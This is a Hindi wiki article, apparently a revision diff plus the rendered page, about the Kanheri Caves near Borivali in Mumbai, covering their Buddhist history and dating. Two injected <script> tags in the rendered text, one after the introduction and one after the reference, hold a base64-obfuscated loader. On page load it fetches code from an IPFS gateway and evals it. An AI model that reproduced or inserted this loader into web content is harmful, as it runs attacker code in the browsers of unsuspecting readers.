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छो (कन्हेरी गुफाएँ मुंबई का नाम बदलकर कन्हेरी गुफ़ाएँ कर दिया गया है)
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'''कन्हेरी गुफाएँ''' [[महाराष्ट्र]] के शहर [[मुंबई]] में कई [[मुम्बई पर्यटन|पर्यटन स्थलों]] में से एक हैं। कन्हेरी गुफाएँ मुंबई शहर के पश्चिमी क्षेत्र में बसे बोरीवली के उत्तर में स्थित हैं।  
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'''कन्हेरी गुफ़ाएँ''' [[महाराष्ट्र]] के शहर [[मुंबई]] में कई [[मुम्बई पर्यटन|पर्यटन स्थलों]] में से एक हैं। कन्हेरी गुफ़ाएँ मुंबई शहर के पश्चिमी क्षेत्र में बसे बोरीवली के उत्तर में स्थित हैं।  
*कन्हेरी गुफाएँ [[संजय गाँधी राष्ट्रीय उद्यान]] के परिसर में स्थित हैं और मुख्य उद्यान से 6 किमी और बोरीवली स्टेशन से 7 किमी दूर हैं।  
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*कन्हेरी गुफ़ाएँ [[संजय गाँधी राष्ट्रीय उद्यान]] के परिसर में स्थित हैं और मुख्य उद्यान से 6 किमी और बोरीवली स्टेशन से 7 किमी दूर हैं।  
 
*कन्हेरी गुफ़ाएँ बौद्ध कला दर्शाती हैं।  
 
*कन्हेरी गुफ़ाएँ बौद्ध कला दर्शाती हैं।  
 
*कन्हेरी शब्द कृष्णागिरी यानी काला पर्वत से निकला है।
 
*कन्हेरी शब्द कृष्णागिरी यानी काला पर्वत से निकला है।
 
*इनको बड़े बड़े बेसाल्ट की चट्टानों से बनाया गया है।
 
*इनको बड़े बड़े बेसाल्ट की चट्टानों से बनाया गया है।
 
==परिचय==
 
==परिचय==
कन्हेरी की गुफाओं के समूह को [[भारत]] में विशालतम माना जाता है। कन्हेरी की गुफाओं में एक ही पहाड़ को तराश कर लगभग 109 गुफाओं का निर्माण किया गया है। यह [[बौद्ध धर्म]] की शिक्षा [[हीनयान]] तथा [[महायान]] का एक बड़ा केंद्र रहा है। पश्चिम भारत में सर्वप्रथम बौद्ध धर्म सोपारा में ही पल्लवित हुआ था जो कभी उत्तर [[कोंकण]] की राजधानी रही थी। उसी समय से कन्हेरी को जो सोपारा के क़रीब ही है, धार्मिक शिक्षा के केंद्र के रूप में विकसित किया जा रहा है। इस अध्ययन केंद्र का प्रयोग बौद्ध धर्म के उत्थान एवं पतन में निरंतर 11 वीं सदी तक किया जाता रहा है। कन्हेरी की गुफाओं के प्रारंभिक निर्माण को तीसरी सदी ईसापूर्व का माना जाता है और अंतिम चरण के निर्माण को 9 वीं सदी का माना जाता है। प्रारम्भिक चरण हीनयान सम्प्रदाय का रहा जो आडम्बर विहीन है। सीधे सादे कक्ष, गुफाओं में प्रतिमाओं को भी नहीं उकेरा गया है। दूसरी तरफ अलंकरण युक्त गुफाएँ महायान सम्प्रदाय की मानी जाती हैं।<ref>{{cite web |url=http://mallar.wordpress.com/2010/03/17/%E0%A4%95%E0%A4%A8%E0%A5%8D%E0%A4%B9%E0%A5%87%E0%A4%B0%E0%A5%80-%E0%A4%95%E0%A5%80-%E0%A4%97%E0%A5%81%E0%A4%AB%E0%A4%BE%E0%A4%8F%E0%A4%82/ |title=कन्हेरी की गुफाएं |accessmonthday=[[15 अक्टूबर]] |accessyear=[[2010]] |last= |first=सुब्रमणियन |authorlink= |format= |publisher=वर्डप्रेस |language=[[हिन्दी]] }}</ref>
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==

11:55, 27 जनवरी 2012 का अवतरण

कन्हेरी गुफ़ाएँ
कन्हेरी गुफ़ाएँ, मुम्बई
विवरण कन्हेरी गुफ़ाएँ मुंबई शहर के पश्चिमी क्षेत्र में बसे बोरीवली के उत्तर में स्थित हैं।
राज्य महाराष्ट्र
ज़िला मुम्बई
निर्माण काल कन्हेरी की गुफ़ाओं के प्रारंभिक निर्माण को तीसरी सदी ईसापूर्व का माना जाता है और अंतिम चरण के निर्माण को 9वीं सदी का माना जाता है।
भौगोलिक स्थिति उत्तर- 19°12′30″ , पूर्व- 72°54′23″
मार्ग स्थिति कन्हेरी गुफ़ाएँ संजय गाँधी राष्ट्रीय उद्यान के परिसर में स्थित हैं और मुख्य उद्यान से 6 किमी और बोरीवली स्टेशन से 7 किमी दूर हैं।
प्रसिद्धि कन्हेरी की गुफ़ाओं में एक ही पहाड़ को तराश कर लगभग 109 गुफ़ाओं का निर्माण किया गया है।
कैसे पहुँचें जलयान, हवाई जहाज़, रेल, बस आदि से पहुँचा जा सकता है।
हवाई अड्डा छ्त्रपति शिवाजी अंतर्राष्ट्रीय विमानक्षेत्र
रेलवे स्टेशन छत्रपति शिवाजी टर्मिनस
यातायात ऑटो-रिक्शा, टैक्सी, सिटी बस
क्या देखें शिलालेख, मूर्तियाँ, मूर्तिकला, आदि
कहाँ ठहरें होटल, धर्मशाला, अतिथि ग्रह
एस.टी.डी. कोड 022
ए.टी.एम लगभग सभी
Map-icon.gif गूगल मानचित्र
अन्य जानकारी कन्हेरी की गुफ़ाएँ बौद्ध धर्म की शिक्षा हीनयान तथा महायान का एक बड़ा केंद्र रहा है।
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कन्हेरी गुफ़ाएँ महाराष्ट्र के शहर मुंबई में कई पर्यटन स्थलों में से एक हैं। कन्हेरी गुफ़ाएँ मुंबई शहर के पश्चिमी क्षेत्र में बसे बोरीवली के उत्तर में स्थित हैं।

  • कन्हेरी गुफ़ाएँ संजय गाँधी राष्ट्रीय उद्यान के परिसर में स्थित हैं और मुख्य उद्यान से 6 किमी और बोरीवली स्टेशन से 7 किमी दूर हैं।
  • कन्हेरी गुफ़ाएँ बौद्ध कला दर्शाती हैं।
  • कन्हेरी शब्द कृष्णागिरी यानी काला पर्वत से निकला है।
  • इनको बड़े बड़े बेसाल्ट की चट्टानों से बनाया गया है।

परिचय

कन्हेरी की गुफ़ाओं के समूह को भारत में विशालतम माना जाता है। कन्हेरी की गुफ़ाओं में एक ही पहाड़ को तराश कर लगभग 109 गुफ़ाओं का निर्माण किया गया है। यह बौद्ध धर्म की शिक्षा हीनयान तथा महायान का एक बड़ा केंद्र रहा है। पश्चिम भारत में सर्वप्रथम बौद्ध धर्म सोपारा में ही पल्लवित हुआ था जो कभी उत्तर कोंकण की राजधानी रही थी। उसी समय से कन्हेरी को जो सोपारा के क़रीब ही है, धार्मिक शिक्षा के केंद्र के रूप में विकसित किया जा रहा है। इस अध्ययन केंद्र का प्रयोग बौद्ध धर्म के उत्थान एवं पतन में निरंतर 11 वीं सदी तक किया जाता रहा है। कन्हेरी की गुफ़ाओं के प्रारंभिक निर्माण को तीसरी सदी ईसापूर्व का माना जाता है और अंतिम चरण के निर्माण को 9 वीं सदी का माना जाता है। प्रारम्भिक चरण हीनयान सम्प्रदाय का रहा जो आडम्बर विहीन है। सीधे सादे कक्ष, गुफ़ाओं में प्रतिमाओं को भी नहीं उकेरा गया है। दूसरी तरफ अलंकरण युक्त गुफ़ाएँ महायान सम्प्रदाय की मानी जाती हैं।[1] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पन्ने की प्रगति अवस्था
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प्रारम्भिक
माध्यमिक
पूर्णता
शोध

वीथिका

टीका टिप्पणी और संदर्भ

  1. कन्हेरी की गुफ़ाएं (हिन्दी) वर्डप्रेस। अभिगमन तिथि: 15 अक्टूबर, 2010।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

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